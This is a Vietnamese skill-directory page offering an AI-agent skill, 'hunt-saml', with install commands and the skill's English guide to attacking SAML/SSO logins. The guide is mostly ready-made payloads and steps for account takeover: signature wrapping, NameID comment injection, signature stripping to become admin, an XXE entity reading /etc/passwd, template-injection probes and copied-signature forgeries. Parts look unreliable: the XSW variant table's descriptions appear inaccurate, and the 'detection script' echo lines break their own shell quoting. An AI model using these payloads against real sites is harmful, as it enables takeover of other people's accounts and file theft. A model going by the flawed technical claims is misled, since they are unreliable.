hunt-saml – skill Khác cho agent AI
Săn lỗ hổng tấn công SAML / SSO. Các mẫu: XML Signature Wrapping (XSW) — sửa Assertion trong khi giữ Signature hợp lệ bằng cách di chuyển phần tử đã ký, chèn comment vào NameID ([email protected]<!--evil-->@attacker.com → một số parser đọc thành [email protected]), xóa chữ ký (gỡ hẳn phần tử Signature, server lẽ ra phải
Cài skill hunt-saml bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-saml-2b062.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-saml – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-saml-2b062.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-saml – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-saml-2b062.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-saml – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-saml-2b062.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-saml – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
20. SAML / SSO ATTACKS
> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
Attack Surface
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callbackAttack 1: XML Signature Wrapping (XSW)
<!-- BEFORE: valid assertion by [email protected] -->
<saml:Response>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>
<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
App processes the FIRST assertion found = evil. -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature><!-- Valid --></ds:Signature>
</saml:Assertion>
</saml:Response>Attack 2: Comment Injection in NameID
<!-- Attacker registers/controls account: [email protected] -->
<NameID>[email protected]<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
digest): "[email protected]" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
UP TO the comment boundary: "[email protected]" — a DIFFERENT effective
identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->Attack 3: Signature Stripping
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATOAttack 4: XXE in SAML Assertion
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>Attack 5: NameID Manipulation
Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)Tools
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml # Re-encode
# URL-encode the result before sending as SAMLResponse parameterSAML Triage
XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)Attack 6: The Fragile Lock — SAML Bypasses (Fedotkin, Dec 2025)
Source: https://portswigger.net/research/the-fragile-lock
The research by Alexander Fedotkin (Dec 2025) reveals entire classes of SAML bypasses rooted in
parser differentials, canonicalization mismatches, and multi-signature confusion. Three key vectors:
6a. Parser Differentials
Different XML parsers (libxml2, Xerces, MSXML, System.Xml in .NET) disagree on:
- XML comment boundaries — signer uses
C14N without comments, verifier usesC14N with comments,
or vice versa. The effective signed value differs from the verified value.
- Whitespace normalization —
NameIDwith trailing spaces, tab-vs-space between attributes,
namespace prefix expansion (xmlns:prefix vs inherited default namespace).
- Entity expansion order — Internal entity vs external entity processing order in the parser
pipeline can produce a post-parse DOM that differs from the pre-sign-verified canonical form.
- CDATA section handling —
<NameID><![CDATA[[email protected]]]></NameID>vs
<NameID>[email protected]</NameID> — some parsers strip CDATA, some keep it.
Detection script:
# Re-encode the same SAML assertion with multiple XML formatting variations.
# If any variation produces a different NameID than what was signed → parser differential.
# Variation 1 — Whitespace in element content
echo "<saml:Assertion ID="legit"><NameID> [email protected] </NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
# Variation 2 — CDATA wrapping
echo "<saml:Assertion ID="legit"><NameID><![CDATA[[email protected]]]></NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
# Variation 3 — Namespace redeclaration
echo "<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="legit"><NameID>[email protected]</NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base646b. Multi-Signature / Signature Copy
Some SPs accept assertions with MULTIPLE <ds:Signature> elements. An attacker can:
1. Obtain a valid signature for ANY assertion (e.g., from a public SAML demo IdP or from a prior login).
2. Strip the original signed assertion, keeping only the <ds:Signature>.
3. Wrap a NEW evil assertion with the copied-signature element attached.
<!-- Attacker copies a valid signature from any previously-seen SAML assertion -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
<AttributeStatement>
<Attribute Name="Role"><AttributeValue>Administrator</AttributeValue></Attribute>
</AttributeStatement>
</saml:Assertion>
<ds:Signature><!-- Copied from another assertion; server verifies it exists, NOT what it covers --></ds:Signature>
</saml:Response>6c. New XSW Variants (XSW2–XSW8)
Beyond the classic XSW1 (duplicate assertion injection), these variants circumvent modern SAML
libraries that added position-based or ID-based signature binding:
| Variant | Technique | Bypasses |
|---------|-----------|----------|
| XSW2 | Move <ds:Signature> INSIDE a child element of the evil assertion | Libraries that verify signature position relative to root |
| XSW3 | Split assertion across XML-comment boundaries in the reference URI | Libraries that use URI-fragment matching |
| XSW4 | Inject a second AssertionIDRef / AuthnStatement inside the signed assertion | Libraries that process all statements, not just first |
| XSW5 | Use xml:id / ID attribute on the INJECTED assertion matching the signed reference's URI | Libraries that match by ID string, not DOM position |
| XSW6 | Namespace-prefix injection — declare an alias for the SAML namespace so the injected assertion uses a different prefix but same namespace | Libraries that key on prefix string |
| XSW7 | XML External Entity (XXE) inside the signature-reference URI to poison the digest check | Libraries that resolve entities during signature validation |
| XSW8 | XSLT transform injection in the <ds:Transform> element — transforms the post-signature DOM | Libraries that apply transforms after verification |
Probing script for XSW2–XSW5:
# XSW2: Signature inside child element
xsw2_payload = '''<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
<ds:Signature><!-- Copied valid signature --></ds:Signature>
</saml:Assertion>
</saml:Response>'''
# XSW3: Comment-split URI reference
xsw3_payload = '''<saml:Response>
<saml:Assertion ID="legit"><!-- ID actually referenced by signature URI -->
...
</saml:Assertion>
<saml:Assertion ID="evil"><!-- Not referenced but processed first -->
<NameID>[email protected]</NameID>
</saml:Assertion>
</saml:Response>'''
# XSW4: Extra statement inside the legit assertion
xsw4_payload = '''<saml:Response>
<saml:Assertion ID="legit">
<ds:Signature><!-- Valid --></ds:Signature>
<saml:AuthnStatement><!-- SP reads this one, overrides original -->
<saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession</saml:AuthnContextClassRef></saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</saml:Response>'''Triage: Key Confusion Variant
When the SP trusts MULTIPLE IdPs (common in federated environments), an assertion signed by
IdP-A (attacker-controlled IdP) is sent to an SP that trusts IdP-B (victim IdP). If the SP does not
validate <Issuer> or <AudienceRestriction>, the attacker-IdP-signed assertion grants access.
# Test key confusion:
# 1. Register as an IdP on a federated platform
# 2. Sign an assertion for [email protected]… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- nmrglue – Xử lý free-induction decay NMR một chiều, dạng phức đã hiệu chuẩn, bằng nmrglue thành…
- nft-standards – Triển khai chuẩn NFT (ERC-721, ERC-1155) với xử lý metadata đúng cách, chiến lược mint…
- deep-learning-book – Bạn đồng hành học tập và cơ sở tri thức làm việc cho giáo trình Deep Learning của…
- deep-work – Dùng khi ai đó muốn lên kế hoạch cho một ngày làm việc tập trung sâu, phân khối thời…
- live-dashboard – Xây dựng dashboard tự động cập nhật từ các nguồn dữ liệu trực tiếp.
- paypal-integration – Tích hợp xử lý thanh toán PayPal với hỗ trợ express checkout, subscription và quản lý…
- embedded-iot-mentor – Người hướng dẫn cho dự án phần cứng nhúng và IoT. Giúp chọn MCU, dev board và toolchain…
- manim-video – Hoạt ảnh Manim CE: video toán và thuật toán kiểu 3Blue1Brown.